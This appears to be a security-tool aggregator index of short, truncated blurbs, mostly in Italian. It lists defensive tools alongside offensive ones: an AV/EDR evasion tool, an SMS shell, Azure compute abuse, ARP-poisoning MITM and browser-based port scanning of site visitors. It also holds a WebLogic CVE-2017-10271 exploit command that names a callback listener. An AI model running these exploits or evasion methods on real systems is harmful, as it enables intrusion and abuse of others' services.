Killer

KILLER TOOL EDR Evasion È uno strumento di elusione di AV/EDR creato per bypassare strumenti di sicurezza per scopi di apprendimento, finora lo strumento è FUD. Caratteristiche: Module Stomping per elusione della scansione della memoria DLL Unhooking tramite copia fresca di ntdll IAT Hiding e...

sniffles

Sniffles--Packet Capture Generator for IDS and Regular Expression Evaluation Sniffles is a tool for creating packet captures that will test IDS that use fixed patterns or regular expressions for detecting suspicious behavior. Sniffles works very simply. It takes a set of regular expressions or...

SMShell

SMShell PoC per una shell basata su SMS. Invia comandi e ricevi risposte via SMS da computer con connettività mobile a banda larga. Questo strumento è nato come ispirazione durante una ricerca sulle implicazioni di sicurezza delle eSIM condotta da Markus Vervier, presentata all'Offensivecon 2023...

wanderer

Wanderer Wanderer is an open-source program that collects information about running processes. This information includes the integrity level, the presence of the AMSI as a loaded module, whether it is running as 64-bit or 32-bit as well as the privilege level of the current process. This...

AutoNessus

AutoNessus Questo script comunica con l'API di Nessus per aiutare nell'automazione delle scansioni. A seconda del flag specificato, è possibile elencare tutte le scansioni, elencare tutte le policy, avviare, arrestare, mettere in pausa e riprendere una scansione. Può essere utile creare un cron...

rapiddns

Descrizione Semplice modulo Python non ufficiale che ti permette di accedere ai dati di rapiddns.io. Puoi anche usarlo come modulo. Come menzionato su rapiddns.io: Rapiddns ha attualmente più di 3 miliardi di dati di risoluzione DNS, supportando i tipi A, CNAME, AAAA, MX. Record A 2,1 miliardi,...

RogueAssemblyHunter

. . \ / \ | | | .. | // \ / | | / \ / / \ \ / // // \ / | | | // | /\ / / | \ \ \ /| Y Y \ \ \ | | || // /|/ | / || / // | / // / / / / / / / / / | \ / | / \ | |/ \ / \ Y / | / | \ | \ /| | / | /|/|| /| | / / / Rogue Assembly Hunter Rogue Assembly Hunter è un'utilità per scoprire moduli .NET CLR...

draytek-arsenal

Draytek Arsenal: Toolkit de observabilidade e hardening para dispositivos de borda Draytek. Atacantes avançados estão cada vez mais escolhendo dispositivos de borda como alvos. No entanto, esses dispositivos são controlados por software fechado conhecido como firmware, frequentemente distribuído ...

CloudMiner

CloudMiner Esegui codice all'interno del servizio Azure Automation senza essere addebitato Descrizione CloudMiner è uno strumento progettato per ottenere potenza di calcolo gratuita all'interno del servizio Azure Automation. Lo strumento utilizza il flusso di caricamento dei moduli/pacchetti per...

stegcloak

StegCloak Il mantello dell'invisibilità per i tuoi testi StegCloak è un modulo puro di steganografia in JavaScript, progettato in stile di programmazione funzionale, per nascondere segreti all'interno del testo comprimendo e crittografando il segreto prima di camuffarlo con speciali caratteri...

CVE-2019-6340

CVE-2019-6340 RCE REST di Drupal8, SA-CORE-2019-003 0x01 docker search CVE-2019-6340 root@kitploit: NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 root@kitploit: Usi...

CVE-2017-10271

CVE-2017-10271 Script di rilevamento e sfruttamento della vulnerabilità di deserializzazione del componente Weblogic wls-wsat CVE-2017-10271 Utilizzo root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Caratteristiche Script Python autonomo Funzionali...

creak

creak Performs some of the most famous MITM attack on target addresses located in a local network. Among these, deny navigation and download capabilities of a target host in the local network performing an ARP poison attack and sending reset TCP packets to every request made to the router. Born a...

web_exploit_detector

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application and NPM module used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the...

Sharpmad

Sharpmad Versione C di Powermad Non è ancora completa e non è stata testata completamente. Manca anche quanto segue: Invoke-DNSUpdate Get-KerberosAESKey Readme temporaneo Modulo ADIDNS Sharpmad.exe ADIDNS -Action new -Node test Action| Descrizione ---|--- AddACE| Aggiunge ACE al nodo. Disable|...

ModTracer

ModTracer v1.0 ModTracer trova i Rootkit nascosti del kernel Linux e li rende di nuovo visibili. Un altro modo per rendere visibile un LKM è usare il trucco imperius: https://github.com/MatheuZSecurity/Imperius Unisciti al Gruppo di Ricercatori di Rootkit https://discord.gg/66N5ZQppU7...

patriot

Patriot Piccolo progetto di ricerca per il rilevamento di varie tecniche stealth in memoria. Scarica l'ultima release qui. La versione attuale supporta i seguenti rilevamenti: Strutture CONTEXT sospette che puntano a funzioni VirtualProtect. Prende di mira la ricerca di Austin Hudson Foliage e Ek...

hawk

Documentazione e Risorse di Hawk Visita hawkforensics.io per una documentazione completa che include: Guide dettagliate per l'installazione e le autorizzazioni Tutorial passo-passo e video "How to" Assistenza per la risoluzione dei problemi Best practice ed esempi di utilizzo Cos'è Hawk? Hawk è u...

netmap.js

netmap.js Fast browser-based network discovery module This project is no longer maintained. Description netmap.js provides browser-based host discovery and port scanning capabilities to allow you to map website visitors' networks. It's quite fast, making use of es6-promise-pool to efficiently run...

netmap.js

netmap.js Modulo di scoperta di rete veloce basato su browser Questo progetto non è più mantenuto. Descrizione netmap.js fornisce capacità di scoperta di host e scansione delle porte basate su browser per permetterti di mappare le reti dei visitatori del sito web. È abbastanza veloce, utilizzando...